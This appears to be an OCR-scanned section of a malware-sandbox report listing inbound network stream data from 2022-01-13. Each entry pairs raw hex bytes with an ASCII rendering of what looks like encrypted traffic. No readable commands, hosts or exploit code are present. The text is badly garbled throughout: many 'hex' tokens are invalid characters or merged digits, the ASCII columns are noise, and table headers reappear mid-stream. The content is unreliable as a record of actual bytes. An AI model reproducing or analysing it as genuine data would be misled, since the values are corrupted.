2022-01-13 19:22:56 UTC 1054 IN Data Raw: a6 04 0a 60 10 ed c4 78 d3 74 al 23 e2 df 9f ef 44 3e ac cf 74 ae 4b 27 ec f8 fa 49 46 22 b5 c8 87 ce be cd 7c
a8 ac e09d cd 29 c5 cc d2 b4 f5 9e 09 7c d7 c9 61 61 72 ac 53 3e 98 93 b3 dc 9d 9d 2f 60 a7 ec a0 17 c3 cb aa 3f ad 07
82 ch 1f el 14 f9 74 d1 03 2d 95 48 03 46 78 60 bb 27 46 02 a7 f8 5¢ f9 d4 ab d1 3f 58 18 4c 94 Oc 2b 8c 74 45 4d 4c 3a
€2 9c 64 95 82 4b 52 ca 53 9c 1f ae 67 5a 7d 1b a7 57 9e 75 b0 c9 02 a8 28 18 54 e8 3a 3c 94 a4 5¢ 97 f4 5e e3 51 5¢ 78
7e f9 0a f9 f6 dc 93 ff a7 9e 38 df 10 4b 32 d2 11 81 be c2 cf 69 01 29 9d 47 44 30 1d fa 46 c7 34 1e 73 29 eb 9e e3 7d 3b
b9 5b 7e a3 04 57 Ob 2f 54 91 f9 e8 c4 1b 6d d8 d3 a3 ae 93 71 58 4b 51 ef 22 eb 30 08 al €3 59 39 4a 65 €0 4d 05 2b f4
9c e5 f0 aa 24 43 4f 53 5¢ 06 85 8d e7 24 73 3d d3
Data Ascii: ‘x#D>tK'IF"|)|aarS>/"2t-HFx 'F\?XL+EML:dKRSgZ}Wu(T:<\*Q\x~8K2i)GDOF4s)};[~W/TmgXKQ"0Y9
JeM+$COS\$s=

2022-01-13 19:22:56 UTC 1055 IN Data Raw: 36 43 42 92 cc f3 cf 6f 1a 74 cf 35 bl ab bb 49 27 e3 da 58 €3 1d 02 70 c3 3b b4 33 57 66 83 7f 17 ba 7d ef 7e
¢4 7d dd 7d 3f 6d 97 45 ec b7 a3 89 45 05 bb 9d 82 54 ee bb b6 15 95 ea 10 f6 3a 2b 84 50 3 8e 2c 9d a2 49 90 52 40 1d
29 caad 73 84 22 d9 1c da 9b 9d 84 46 df 7f a5 18 95 bb 58 el Ob c2 bd ec 13 ef 2¢ 17 df 6¢ 14 73 6f fd 6a a7 96 61 7f ca
f2 cf 7e al 1c 2e 71 8c f2 6a 9f 94 78 d4 54 5f 74 d8 7f e0 fd 05 d9 15 ad a3 f6 48 1c df Oc al 89 ab a6 da 68 88 b8 3d 16
44 0 53 4f e5 3a cb 67 46 50 3a 36 1b 7f a4 12 4b fc 89 bc 53 c4 fO b8 2a 16 2b cf 6b 5d 25 b0 66 f3 c2 ¢5 85 c1 4a 70 6a
ec d3 70 8c dd 03 21 01 f1 4e 3b 77 50 6¢ ba cb 6f 1c c7 c1 7d 2a 13 df 6¢ c0 a0 42 7a fa Oc 27 fc 7b e6 ba db b8 f9 b5 c5
58 2e 8e 7d 3b 43 69 7c Oe 8e 18 e8 7c b3
Data Ascii: 6CBot5I'Xp;3WA~}}?mEET:+P,IR@)s"FX,Isoja~.qjxT_tHh=DSO:gFP:6KS*+k]%fJpjp!N;wPlo}*IBz'{X.};Cil|

2022-01-13 19:22:56 UTC 1056 IN Data Raw: f3 a6 0f 8b 10 55 6e 76 69 6¢ fa 54 32 d7 Oc 58 5¢ 39 c7 8f 3d e6 d4 19 33 93 b7 9 f9 cc 8b 7e 05 41 4f c8 ac
24 65 1f 30 00 06 11 02 a5 82 45 3e d1 91 f4 24 71 ca d9 1d fb 32 d2 92 d3 b7 e3 1f 5¢c ¢7 29 39 38 9d 9c 7f b5 b3 be f3 c9
73 cc 21 9b b2 86 69 5¢ 98 19 26 8f d5 70 95 83 3¢ dd cc 4d ba d6 38 91 ac 29 93 ef fa 5b 21 7d ad 14 af be 1f e0 22 fa 08
60 ff c6 d0 e7 66 2b af eb e9 b5 1a 84 e4 9b 88 71 23 30 29 a4 3d 82 71 06 8b fd e9 11 ec 8a 66 b5 98 00 09 21 5c 49 35
de a0 18 4c d2 82 43 7a 64 9d 8c 26 62 17 ab be d2 1b 3b c9 36 dd Ob 20 61 a3 e6 3c 3e 95 8e 02 35 75 4c 9f bd 36 b3
0d 44 40 94 dc 94 82 2b 33 59 12 31 9e 55 02 b1 af 04 6f 7c e4 61 d7 f8 ca 75 aa cc 2a 1d 86 €3 22 b0 1e 0f 67 17 43 5b
17 48 74 cf Oc 25 e0 db O cd 76 de 95 9f f9 df 09
Data Ascii: UnvilT2X\9=3~A0$e0E>$q2\)98s!i\&p<M8)[!}" f+q#0)=qf\I5LCzd&b;6 a<>5uL6D@+3Y 1Uo|au*"gC[Ht%v

2022-01-13 19:22:56 UTC 1058 IN Data Raw: 14 d1 c2 80 d6 f9 d0 36 26 6f f6 91 e6 36 31 38 76 b8 df eb 34 f1 36 65 61 e8 a2 Of cf 78 66 f8 44 3d b5 61 a3
99 56 ca 12 68 77 02 bd 41 b4 f1 f2 94 62 8b cc 4e 97 ff 1f d5 7c 2¢ 77 20 f8 85 b3 24 7f e4 e2 7c el 17 4f 1d e8 7a 76 ab
3439 24 55 e9 1b f9 ¢7 6d df c5 95 ee b2 22 e7 49 5d d2 5e 83 54 fc 75 78 7e 87 cf dO e4 2a cf e5 9e 18 fd 6a 81 4e 04
1232 0d 09 e7 3b af 8a 58 77 ec 6d 0a b9 43 28 bd 50 1c 5d 7c 18 ee a6 bf 52 f3 97 6e ec b0 bd 16 4e 77 93 fc fa b9 49
94 bl bc 64 bb c8 54 e4 14 81 d1 87 f3 dd d9 08 54 20 ab aa 21 e3 8b 38 3e ec 97 f9 64 55 e4 08 al b4 68 2a ee al 18
2a 0a2bc2 da 23 c5e3 60 ec 7c 73 3a d6 bd 4f 45 50 12 90 a5 94 7c aa 87 ae 38 88 82 2e 90 7b 10 Ob 6d f6 47 d4 1a 73
fb e3 1f 40 74 b1 00 bd ca 90 f4 be c6 d3 76 76 1la 75
Data Ascii: 6&0618v46eaxfD=aVhwAbN|,w $|0zv49$Um"[[*"Tux~*N2;XwmC(P]|RnNwIdTT !8>dUh**+#'|s:OEP|8.{m
Gs@tvvu
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1059 IN Data Raw: 01 f8 e2 13 1f €9 3f 10 11 2e d0 11 57 03 c5 77 70 c8 96 a5 €9 d9 b6 07 2d 9b ce 10 2a 36 c6 4c a8 12 80 a8
06 5f 68 77 4a 1d 87 2d f2 90 ea 51 50 6¢ a7 82 89 e6 a3 50 c5 5d 15 ec d0 3f d4 89 16 cd 17 c0 b4 e4 48 36 0d 7a 9b 9b
85 1d 92 cb al 15 b1 b1 40 e6 b5 6c 89 3e 84 90 68 9c 89 31 fe 00 e8 19 8b 71 0f 9b 31 9c 3 e6 2b 02 ce a9 87 ce 87 e2
8c 47 65 6b b6 3c c6 d3 71 38 37 ad 33 7f bb 30 d7 f4 4a d7 16 5f 99 4a 7f 23 36 a9 92 6a 9d 9f 3e db e4 15 03 cb 1b f4
49 5¢ 10 a4 a2 e2 58 5e 98 69 16 51 b0 82 ab 44 fc be ad aa 35 8e 85 23 43 5d a8 ae 53 4d 40 24 cb db a2 ed f2 f0 d3 6f
11 d3 c6 3c ce 44 e5 c6 bl a0 06 bd a5 65 b6 8d 3b 13 bd 5¢ f3 ¢3 bd ba 7f 6e 4e 33 14 47 55 68 3d 1e 9a 90 a6 ae ab ac
252 a6 a4 a6 e7 ef 88 9b 4a 4b 46 dd 1c d2 4f bf ff 04
Data Ascii: 2.Wwp-*6L_hwJ-QPIP]?H6z@I>h1q1+Gek<q8730J_J#6j>I\X"iQD5#C]SM@%$0<De;\nN3GUh=%JKFO

2022-01-13 19:22:56 UTC 1060 IN Data Raw: fb 74 8b 8¢ 97 1d 4e 99 dd e7 85 f7 8b c8 82 e3 1f 96 €3 5b 09 d8 71 69 1a 3b af 5¢c 3f f1 7a 66 33 6f 48 c9 3a
43 c2 c2 bf 42 2d 81 7c 7d 22 ac 98 24 70 a6 11 c3 95 6 5a f7 ¢4 96 28 c3 32 bb 42 87 27 93 ef 7d 67 75 b9 1c 04 40 c8
b2 21 bb 28 €9 a7 c9 7a fc e7 51 05 94 9c 6e 43 af b5 be d1 5 96 16 b7 32 51 51 02 21 53 b9 14 f1 4f 2 fd 2e 7d 33 c5 1f
56 00 c4 ab 3b 42 6e d7 73 3c 6b 6¢ db 15 4f 04 fb 38 2a b8 7b 5b 18 56 46 d9 Oa af 41 72 a4 12 4c 6¢ 18 3e 29 c2 16 12
01 64 d1 ad 62 3f eb 30 Of cd 6d 46 81 18 68 b4 55 f7 d3 2f 8c ab bd 47 50 dd 19 e6 64 f6 61 62 €9 b9 40 4c 48 9d e0 cd
c7 eb 48 2e 00 b8 69 e7 85 76 26 63 ae ca eb 9c 61 7f 3a 40 8f 52 94 61 c5 5c f4 03 49 da 5f e7 96 67 9d 14 4f 4a cb 6a
3e 5f 7d bb 39 4f 6 f8 43 14 €9 40 5d 12 13 cd 53
Data Ascii: tN[qi;\?zf30H:CB-[}"$pZ(2B'}gu@!(zQnC2QQ!S0.}3V;Bns<klO8*{[VFArLI>)db?0mFhU/GPdab@LHH.iv
&ca:@Ra\l_gOJj>_}90C@]S

2022-01-13 19:22:56 UTC 1062 IN Data Raw: 74 73 35 e0 34 a0 56 f7 c2 d3 10 5a €8 71 39 b8 99 1d 89 6b d6 fO 5b 98 32 07 38 3a c5 7b 77 4f 4¢c d7 a4 f5 df
9 b8 f3 b6 99 43 d7 1c 2f 8f 9e cb 1c Ob 67 48 a7 e5 76 07 9b 31 9d 89 d2 89 43 f2 52 bc af b0 44 2d 89 c5 c9 e8 dc 3e eb
54 9e ef 2a 12 09 43 a8 cb 0d c0 d4 52 b0 8f 51 21 95 8f ef 15 b8 20 6a 79 ea d0 b6 79 69 88 7a {7 16 fc fa 41 b9 43 bd 2d
99 3f ce 2 5e 42 fe 3a 93 3 bf f4 fd d7 1f f4 cO €9 7e aa 2e 13 cb Oc d9 be f4 41 a4 01 43 e6 33 07 19 dO f9 c8 f5 b5 d6 9b
f9 81 db 1e 7b 32 82 €9 2e 0d ca f5 a0 a7 ff d0 89 c6 64 eb 2e 09 78 b0 3e 20 6¢ 01 c0 f8 45 57 68 f6 €2 2d 9e 7a b0 94
1843 bl 1b 81 cd 16 f5 72 a5 fa 07 49 4d 49 50 c6 dd a2 cb 9d 6a 4a 3d 19 7c 5¢ fO d7 1a 8b b7 a3 83 5d ¢4 ba 55 02 b7
a2 a4 fb d8 ea c9 06 a2 ff aa 3a 31 24 a9
Data Ascii: ts54VZq9k[28:{wOLC/gHv1CRD->T*CRQ! jyyizAC-?"B:~.AC3{2.d.x> IEWh-zCrIMIPjJ=|\]U:1$

2022-01-13 19:22:56 UTC 1063 IN Data Raw: d0 62 72 78 2f 29 91 93 Oe 47 35 3c ed 9d 71 83 4f 66 23 7b 27 68 62 €3 87 62 b6 56 73 5¢c 02 05 db 60 ea 82
e7 9d 8f 4a bf fb 94 68 c3 el b2 5a ea d6 fa f2 aa df 02 99 5b 99 fc e7 ff 94 04 1c 18 ff b0 Oc 33 e0 3b 18 33 96 47 f0 4c 9
d3 8f 13 7b de 91 7b 5b el 64 ee d6 9e 3b Oc fc 47 e8 ce 56 8¢ 34 7c b6 15 41 Oe 59 f9 b3 25 82 31 e7 35 ae bl 5f 6d 8d
90 cc 81 bl dc 8e 55 9d 5f 24 2b c5 fe 7f 87 19 5b b3 17 6f 0a c7 fO Of eb d0 42 2a 97 10 79 e2 7b 16 56 f1 22 7b f2 f9 f9
01 2e 0f c1 9a 98 4b 56 e0 9f 36 87 b2 92 01 4a b0 2f a3 04 07 2c c1 36 01 23 f3 90 3 72 e3 14 49 57 c0 6¢ 9f 29 7f 2d 98
11 61 b4 el 04 ae 3b b6 73 85 a9 5e 52 2b 40 a2 89 73 a7 bb d2 00 af 7e c8 e2 9d 83 59 14 30 b1 d9 21 54 8d 9a d7 91
bb 5b 6d 19 2f 93 9e e5 fa f9 bc 63 aa 67 02 ac
Data Ascii: brx/)G5<qOf#{'hbbVs\"JhZ[3;3GL{{[d;GV4|AY%15_mU_$+[oB*y{V"{ KV6J/,6#rIWl)-a;s"R+@s~Y0!T[m/cg

2022-01-13 19:22:56 UTC 1064 IN Data Raw: 34 bb 18 41 a5 5b 86 4d 4e 44 6d 04 af 76 2b 9a 7d 7e bb Oe 41 27 b5 b2 28 al 33 86 5¢ 19 Oe 4b 28 a2 94 da
ef 3a 28 72 e5 5a fd 55 fd d3 78 5e 25 81 86 4b 01 24 76 5e 76 a3 98 cd b6 3c 44 93 00 7c d7 09 3d c8 81 ac 37 d2 5e ef
3931 19 cb ¢6 1f 9c b6 29 da e6 ef 38 71 3a 2b cb e0 8a 59 8¢ 92 65 7d 9b 55 d7 7f c9 77 4b 15 ad ac 27 54 f3 c9 8e bc
ae bl 44 2f 78 b4 6¢ e7 64 85 8d ec a7 f4 b6 30 Oe fb 10 57 01 86 cd ab c4 d8 8f 8d b7 c1 53 72 36 Ob dc 31 4e a5 4 4d
63 d0 fa 42 d5 b3 bd 04 f5 94 c1 74 fe 97 b5 d5 77 70 f4 c2 dO 4f 59 13 7a b0 96 69 71 27 fd d8 fe 23 09 fd 85 9a 96 1f 47
f0 a6 bd f7 ¢3 c8 Ob d0 52 61 ac 87 6b dd 6e 91 6f 00 a4 12 e7 9c ce b8 2a 76 bb 87 b4 2b 96 d3 22 08 f5 81 a2 Ob fc 65
07 37 30 35 d8 c5 3b 33 d8 ec b9 79 07 27 f2 a9 47 c1
Data Ascii: AAIMNDmMv+}~A'(3\K(:(rZUx"%K$v v<D|=7"91)8q:+Ye}UWK'TD/XIdOWSr6 INMcBtwpOYziq'#GRakno*v+"e
705;3y'G

2022-01-13 19:22:56 UTC 1066 IN Data Raw: ff 73 97 e7 25 e0 Oa 39 ad 4c da cd e0 cf 6f 4e c6 d8 63 86 40 29 30 db Oa dc 25 54 00 d7 06 bl c8 99 91 eb 03
87 db Oc ad 7e c4 92 6a c8 fa 57 d7 85 cf 76 Ob 22 66 68 46 db 68 2c f9 18 32 19 d6 e6 df 77 3e f3 5f 6d 0d 79 f6 26 31 9b
be c9 6f ac d4 ef 3b 18 9e 02 d5 e0 02 19 bl bl bl cd 2e 71 20 c0 47 4a d7 ba Oc 31 da 8e 36 13 c2 aa da 88 49 de 63 01
c4 1e 71 59 cf 97 27 93 ff d6 fc 2a 6a 8a e0 3f b1 b1 05 fd ac 81 4b 4c 6¢ 98 25 9d d9 Oa fc 5c e4 8b 5c e3 14 bd 99 f4 3b
39 39 1f 99 e0 96 04 f5 a9 8b 9b 62 80 48 77 e3 78 1b 05 94 15 d1 6¢ cc d6 e5 10 3c 7d 31 de 8e 07 9a b3 23 97 ff da d7
03 34 be c9 77 b6 90 cf 12 46 c0 80 8 66 67 4d 04 ad 2 52 a3 d6 97 df b2 32 0d 6b c0 26 d8 80 41 8e dd 13 cd c7 26 7e
a7 a0 8d fd d7 al d4 f1 87 da cf Of 9d 91 b1 bf
Data Ascii: s%9LoNc@)0%T~jWv"thFh,2w>_my&10;.q GJ16lcqY*j?KLI%\\;99bHwWxI<}1#4wFfgMR2k&A&~

2022-01-13 19:22:56 UTC 1067 IN Data Raw: a0 71 38 75 19 d6 81 6b 74 b1 18 e0 8c e4 7a d1 dd 4b 20 22 30 56 7e 84 15 Oe de 24 7b cc 28 a7 d9 79 94 18
3e 57 14 52 a4 23 e4 af 00 cO d8 f8 39 bd al b3 ad b9 el 02 1e aa 58 4 f8 56 be 89 8f 40 09 7e 65 da el 9f b9 d4 74 a4
87 e3 ca 20 70 c0 7d 2e b5 al e6 37 ¢8 80 0a ba 8c 5b 22 7f 21 49 43 dc 26 60 af b0 7c a6 4f 57 f5 69 10 32 72 09 81 bl
12 d6 a8 18 41 ab d3 08 60 1d fd c2 db 1ffl fb 66 8b c4 6a 01 2a 15 89 f3 cc ee Of 11 3b 1f 32 95 f4 cf bb df 32 41 71 81
7b 54 01 28 8b 8e 16 cc 94 15 4f b3 d2 ec da 65 07 6f 45 25 5e 9a 03 8c ae 45 a7 41 fb d1 e6 4a d6 20 Oe 8d fb de 92 76
03 08 e7 f8 1c 32 15 fc ea bb f4 ac 51 c2 cb 83 ca 82 20 11 33 40 6b b1 44 5b 26 9f eb 2a 05 6a 65 11 5¢ 1b d6 15 3d b9
d3 cc e6 Oc f8 5e 55 82 53 cc 50 cd cb 85 db 1a dc 76
Data Ascii: q8uktzK "0V~${(y>WR#9IXV@~et p}.7["IC& |OWi2rAfj*;22Aq{T(OeoE% EAJ v2Q 3@kD[&*je\="USPv

2022-01-13 19:22:56 UTC 1068 IN Data Raw: 23 eb f3 ee bf 4a 5e 1e db 75 2f c3 41 bc cf eb bd 2¢ e5 ef 96 68 4b 2d 25 62 77 3b b7 ac 7a ce f9 87 c6 d7 01
85 Oc 37 1f 25 bd 35 d6 54 ef 23 e4 af f3 66 b1 f3 12 07 37 fb ¢9 f7 75 dc 83 c1 50 a5 eb 3b 72 9a 76 ac b6 ae c5 5d 70 aa
60 9b ee dO f9 d7 1f 73 84 48 ce f1 38 79 45 40 ec ea a3 9e 4d 57 fc el 07 25 f7 ¢5 3c be 58 19 c9 76 bl d2 f2 1e 70 bb 43
2 5f da 26 9f 80 4f 44 4e 49 al 74 a0 1c 73 49 43 5b 66 9b f5 92 75 68 fb 77 8f 61 7c b0 28 7e d6 99 a8 94 6f 05 8a 8¢ b8
21 d3 1f 37 e9 2a 27 ba 53 76 ed ee 99 63 5¢ 53 dd 24 b3 92 23 eb 9d ec d0 5¢ €7 99 e6 da 95 f4 43 c1 19 5b bb 17 d6 9b
f2 41 ¢4 72 09 1d fc 47 43 d8 d4 68 3e 1f e1 07 29 98 08 b7 b4 35 16 65 57 68 82 5a f2 3d 31 7e 86 51 55 6f 7c f6 el 89
€2 9e 04 a5 91 f7 d9 17 d9 fe 9b b4 c5 25 6a
Data Ascii: #J*u/A,hK-%bw;z7%5T#7uP;rv]p’sH8yE@MW%<XvpC_&ODNItsIC[fuhwa|(~0!7*Svc\S$#\ C[ArGCh>)5eW
hZ=1~QUo|%j

2022-01-13 19:22:56 UTC 1070 IN Data Raw: d2 6¢ 80 4e d8 8e Of 98 df ac 2a 02 b8 29 98 ed 35 94 6¢ 39 42 5b c1 8d 84 f0 64 df 64 ce f2 5d 6a 8a 2a 97 97
e5 51 5f b9 43 b9 42 8e af dd 03 cc a4 74 fd d1 74 Ob fd dO f5 a4 d8 55 cb ad ce 88 c7 ¢6 ¢9 68 85 cd 11 cc 3a 3f a9 9a df
89 69 01 28 06 bf a3 50 d4 9d 81 3f a5 98 7e fO bd 45 4a ce 6e 75 2c 17 d7 Ob a2 a9 7b 3d dO f1 b0 27 ff c2 39 79 5a 94 {8
Ob a7 f2 54 78 ab a7 86 5f b2 41 14 bc a8 8b b0 58 bf 4a 99 €0 3a 5¢c €6 ¢7 8 21 96 08 d2 el 54 d1 7b 36 7 14 a4 d9 6b
f9 07 48 67 c4 94 c7 a8 bc e2 d9 d3 5b 50 Oc a0 60 68 8b 6d 14 2a 19 d1 65 7e d0 al 01 1b a4 19 dc 87 dd bd d7 Oa bl
b8 2a 84 9d ed 4e 7e fb ca bl 23 45 57 61 6d 08 a8 de 8a 46 c7 23 fe 4b 5f 78 27 14 4b 46 d4 fd 54 d6 e8 d5 35 Ob 56 ee
a3 93 e3 02 75 2c Oa af 32 a7 e7 b7 4e b9 e6 fc 2d
Data Ascii: IN*)519B[dd]j*Q_CBttUh:?i(P?~EJnu,{="9yZTx_AXJ\IT{6kHg[P hm*e~*N~#EWamF#K_x'KFT5Vu,2N-

2022-01-13 19:22:56 UTC 1074 IN Data Raw: dd 15 ce fd c5 b3 be b2 70 de 7f 14 07 5a fc 56 5 8f 9f 61 b4 52 a2 02 a4 01 69 6d 4e c7 38 45 3a 4b 4f 4e 90
74 b5 09 ed 4e 9b be 98 26 b7 f6 f1 b7 4d 69 87 c7 ea 8¢ 97 4e aa 81 ¢8 53 4a 3d 51 80 3c 65 a7 6f 72 00 11 f4 ea 1a 47
d7 ef 32 85 23 e4 37 1c 7e 13 35 9f d1 de 25 ec 1e 8e 08 e0 f9 69 6e a9 e7 b8 86 ea a2 6f da 3d 81 86 56 ad b8 fc b9 70
1f fd 91 f3 19 31 bf 16 57 27 f8 84 f4 75 7d 2e 11 d2 33 7f d5 99 43 06 5b 37 68 65 09 82 56 fd c6 f1 3a 29 28 5b 11 b6 7f
b3 f5 ae 3f 02 e5 30 0d 5c €8 12 97 85 7b 2c 6b a6 80 44 31 92 c4 da 8d ea cd 77 6a 8f 37 a8 1f 90 61 74 af 41 af 5b 29 fc
37 09 a0 3e 2a 1d fa bd 66 d7 b5 ef 3c 8f 87 c0 7b 81 23 65 fa 55 1c 19 7b 85 af bd 9e 20 73 3b 37 Oe db 49 50 c7 21 96
15 62 4e 6¢ 37 2f 98 06 a9 7e 8d fb ca 44 98 38
Data Ascii: pZVaRIimN8E:KONtN&MINSJI=Q<eorG2#7~5%ino=Vp1W'u}.3C[7heV:)([?0\{,kD1wj7atA[)7>*f<{#eU{ s;7
IP!bNI7/~D8
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1078 IN Data Raw: 9a d3 Oe eb d1 64 ee fa d2 85 ad b5 a8 d1 67 Oe ad 7f 32 a3 49 ce 14 fe b1 bd 36 8d 0f 09 46 85 cf 11 d5 5a 39
b7 ac 99 30 78 5b a0 4c 2a a2 ea a3 da 97 a5 89 93 e2 0f a0 18 38 6f Oe 39 d3 af 47 45 5e fb c8 fe 9d 6b 1a 6¢ 91 e8 a6
08 40 fe 43 be 26 a4 76 0a 09 30 61 1b el 65 dd Oe 58 5f bc b2 71 b4 Ob 8c 83 52 3 35 56 62 3b 75 06 aa eb b7 ab {7 44
432810 al 81 b7 dd b5 e3 7b af d6 2e b9 54 9d c2 b2 50 ba 0f 71 37 b2 3a 32 12 86 ec al 91 e6 ac 20 6e d4 2b 84 56 Oa
61 03 9c c7 ed 3d 56 23 b8 ad 8d ad 66 23 4b 47 05 ac 5e ed 55 2e 08 2b 3c 23 8e 35 fa 33 ed 20 d9 cc ee b2 al e6 al fd
b9 e6 bl bb 4d 91 {7 cf 99 24 19 5e 25 49 54 97 50 07 6f 42 ca 68 64 9f 25 d5 3d 62 85 3b 2d ed 4a 6a 9f 3a 3d 16 57 73
3e 44 9e 40 5a bb cb 7f 34 ca Oe 72 d5 97 2e 05 3e 2f
Data Ascii: dg216FZ90x[L*809GE"kI@C&v0aeX_qR5Vb;uDC({.TPq7:2 n+Va=V#f#KG"U.+<#53 M$"%ITPoBhd%=b;-Jj:
=Ws>D@Z4r.>/

2022-01-13 19:22:56 UTC 1079 IN Data Raw: 61 39 a0 73 ff d4 f1 80 89 ba 7a 6a 1a 40 al e2 f0 29 6e 8e ca 90 27 f1 6d 05 41 00 73 4d 3f cf 33 87 d0 28 1la
6f fc 8f 84 cc ¢7 90 a8 67 96 be 92 34 54 70 64 dc 56 c8 94 cf 76 1d ee da 23 4d 26 1b 49 Ob a6 79 6a 3f 41 c0 77 97 ec
cl fd a4 2f fa a3 9f cc 98 26 da d1 67 76 37 fb c4 79 d2 f1 fa ef 1a 18 4c de 9d 11 97 c3 fe 03 31 39 el 02 3f ed 38 81 8¢
53 48 d5 9f 88 46 2e db 6a 2b 5b 86 3e d1 6c fO d9 6b 02 27 6b 1a 66 31 4b 2b 31 4e 23 89 70 db 68 fb c9 04 76 a5 8a b4
f7 bl e2 df 9a a5 db 99 d8 c3 85 82 18 9c 05 30 14 5d 20 cf 55 3e €9 a7 74 31 e3 ba df a9 9f ed a3 79 48 43 9c 97 43 af
19 d3 78 ea cb f0 08 ab 61 95 e7 3c 35 92 d3 65 6e 59 83 c5 49 5e ec b0 83 29 8c fc cb ee a5 8d ef 2a ab 47 4e b0 57 cd
8c 3b ca fe 89 7f d9 13 5b 5f 9b 3b c5 bd 86 4b 4b
Data Ascii: a9szj@)n'mAsM?3(0g4 TpdVv#M&Ilyj?Aw/&gv7yL19?8SHF .j+[>Ik'kf1K+1N#phv0] U>tlyHCCxa<5enYI*)*GNW;
[KK

2022-01-13 19:22:56 UTC 1083 IN Data Raw: 95 20 f9 27 23 5¢ 17 1d 40 8d c2 41 54 d3 35 38 cf 46 85 b2 66 9f d0 8d 70 d9 3f cb 10 53 3e ef 39 af el 11 81
b8 aa 9c d7 7f b9 50 3b 77 27 e0 28 de eb cb b6 6f 1c 2f fa c1 c3 Oe 5a fe 52 a4 66 53 eb 78 bb 4a c2 dc 2d 30 52 d6 96
65 a3 61 29 83 c2 d4 6e 72 5e f4 4b 50 39 4a 4e c4 d5 74 Oc fa b8 a6 fa al 20 85 2e 41 58 06 16 f4 ff 75 3a 25 38 33 8d
60 3a 65 05 76 ce 57 1c f1 51 2c cd 8b 79 31 04 5a 74 3b 4d f1 9a c4 7a 27 43 1c ff 39 07 93 04 1d 43 5e 3e 6a 32 a3 4a
61 c9 a9 95 de 55 6f Ob 91 e7 7e a3 f7 bd 58 al 37 a9 9e bf 87 20 c8 01 f0 51 95 8e 89 51 5a f7 c2 4e 69 2d €3 70 a3 20
b5 b2 29 15 f2 ae f4 3a cd 47 20 d7 71 3e 39 ab 30 6e al eb 2a 4b 89 d7 17 4e 6d ca 71 92 79 3d d5 1c f4 ae 58 ef 49 80
43 a0 9e 6a e0 35 aa 47 89 3f ac 34 01 56 33 90 65 b1
Data Ascii: '#\@AT58Ffp?S>9P;w'(0/ZRfSxJ-0Rea)nr*KP9JINt .AXu:%83":evWQ,y1Zt;Mz'CIC">j2JaUo~X7 QQZNi-p ):G
g>90n*KNmqy=XICj5G?4V3e

2022-01-13 19:22:56 UTC 1087 IN Data Raw: f2 43 ad 72 ad a2 9c 62 e4 06 08 d9 70 c9 07 56 81 d3 a9 97 eb 27 45 97 94 3f ef c1 8b 8a cc d3 27 3c 6e le
98 e5 1b f1 1f 8b 26 40 el e3 7d 91 ea c6 b1 fa fd 56 8a c4 26 le 13 ce 66 4a c5 4e 65 67 79 94 36 7d 53 47 9f 11 c0 df b8
d0 9c 44 3d d0 9b e7 8a 8a 48 c5 1e 60 ab de 93 46 13 c9 76 Ob 80 bc 64 6b 6f 63 46 d0 a2 06 df 69 12 fc 5e f5 c1 f1 8b 3f
ab a4 14 2f 9a 8d 33 81 ¢7 8a 90 89 66 ec 1f 5a 02 b2 3b ac 41 c0 cd 2a 97 e4 b0 85 b2 46 81 c6 a5 fd d9 5¢ 27 e3 03 7b
2a 41 c0 c4 82 99 fa 4a 6¢ 23 9¢ 6b 50 c3 00 b9 25 84 57 16 55 6b 07 db d6 dc d8 87 ac f2 46 c3 ec cc al f8 5a 64 2d 88
4e 41 37 da 39 6d fb b6 7f c6 9f 93 93 b7 bf 76 af a7 92 c0 3f d1 e6 db 69 83 70 27 98 18 22 Oe 38 6e 9d Ob d5 61 6d ab 6f
e2 cf 2b d2 ad 6d 43 75 ff 3c 42 68 36 07 06 dd
Data Ascii: CrbpV'E?'<n&@}V&fINegy6}SGD=H"FvdkocFir?/3fZ;A*F\'{*AJ#kP%WUKFZd-NA79mv?ip™8namo+mCu<Bh6

2022-01-13 19:22:56 UTC 1091 IN Data Raw: cc ad b6 3c 2e e3 c0 ab f6 15 16 57 68 9d 9b a5 3e Oe Ob 12 7c ed el 6f ad c0 44 26 d3 67 75 51 35 31 d7 6b
bb b6 52 97 72 8d 9e 91 be c3 dc 8f f2 76 0f b2 23 88 cd 15 2b 18 bb 66 €8 f9 cd 1b 78 00 92 13 09 8f d3 d4 44 cc 00 6f a5
a5 ad 62 b1 d8 4e 3f 99 35 63 1c ae fd 34 27 el 53 e2 9f 4f bf 6¢ €9 06 25 2a c¢5 b3 b7 d7 ¢5 76 c0 1f 04 a8 af dO f6 92 b4
db 02 4e e4 7d ca f4 6a 7c 68 ef 97 62 90 7a b6 9a 9f 87 7f b0 8b b4 3c 4b 34 8f 09 4d 4c ee 06 7b cd 32 81 2d 83 53 3e
a3 fd d3 18 f5 ac e4 db 55 6d 62 2f 7f a4 07 1e d3 b2 71 c3 fa bf 9c ae f2 1e 8f a9 77 48 d1 a4 8d f2 58 51 8c 24 9c c1 13
cf f2 64 cf d8 ff 75 53 97 8e 60 62 2b 87 c0 77 80 88 f8 2e 6e 3d b7 23 f7 3c 51 2a 98 6e 6d 7c bb dO 5e ea b3 05 e5 59 fc
a2 f13c 94 6¢ 9a e0 e2 96 2b 67 ab 1b e3 b4
Data Ascii: <.Wh>|oD&guQ51kRrv#+fxDobN?5c4'SOI%*VN}j|hbz<K4AML{2-S>Umb/qwHXQ$duS b+w.n=#<Q*nm|"Y<Il+g

2022-01-13 19:22:56 UTC 1096 IN Data Raw: fc €8 90 27 e4 56 ef fd 39 85 a2 Oc 22 6b 4a 5e 1c 7b d7 74 bl ac 3d fb 28 a9 71 62 92 64 83 05 77 29 8b d1 le
3f 1f 91 42 2e c1 cb 67 Ob cd b3 c8 7e 12 1e 74 be dd 79 a5 f3 06 da 8c df ab 1d f3 c6 d0 ab 20 fd 79 6¢ 9d 94 65 c6 97 ec
aa 3b c50d 6a 71 b9 53 f1 a4 Ob cf 62 43 dd bc 57 10 49 5b 63 62 2a e3 c0 a8 1f 02 46 dO f4 a5 5d Oa c1 31 c9 f6 cb 19
47 e5 24 11 de 80 1a €9 84 aa fa 3d de 96 38 cc el 05 al 53 4f 27 f2 4d 3b 68 32 72 d0 f7 d5 c0 d1 6e 92 62 69 b0 27 f1
dd 21 6a 7b 2b 66 41 d6 36 a0 1a 63 19 58 06 55 10 2d {7 b6 9f ca 99 95 e4 48 20 76 ab ee d3 e5 54 7b 43 12 {7 99 f3 be
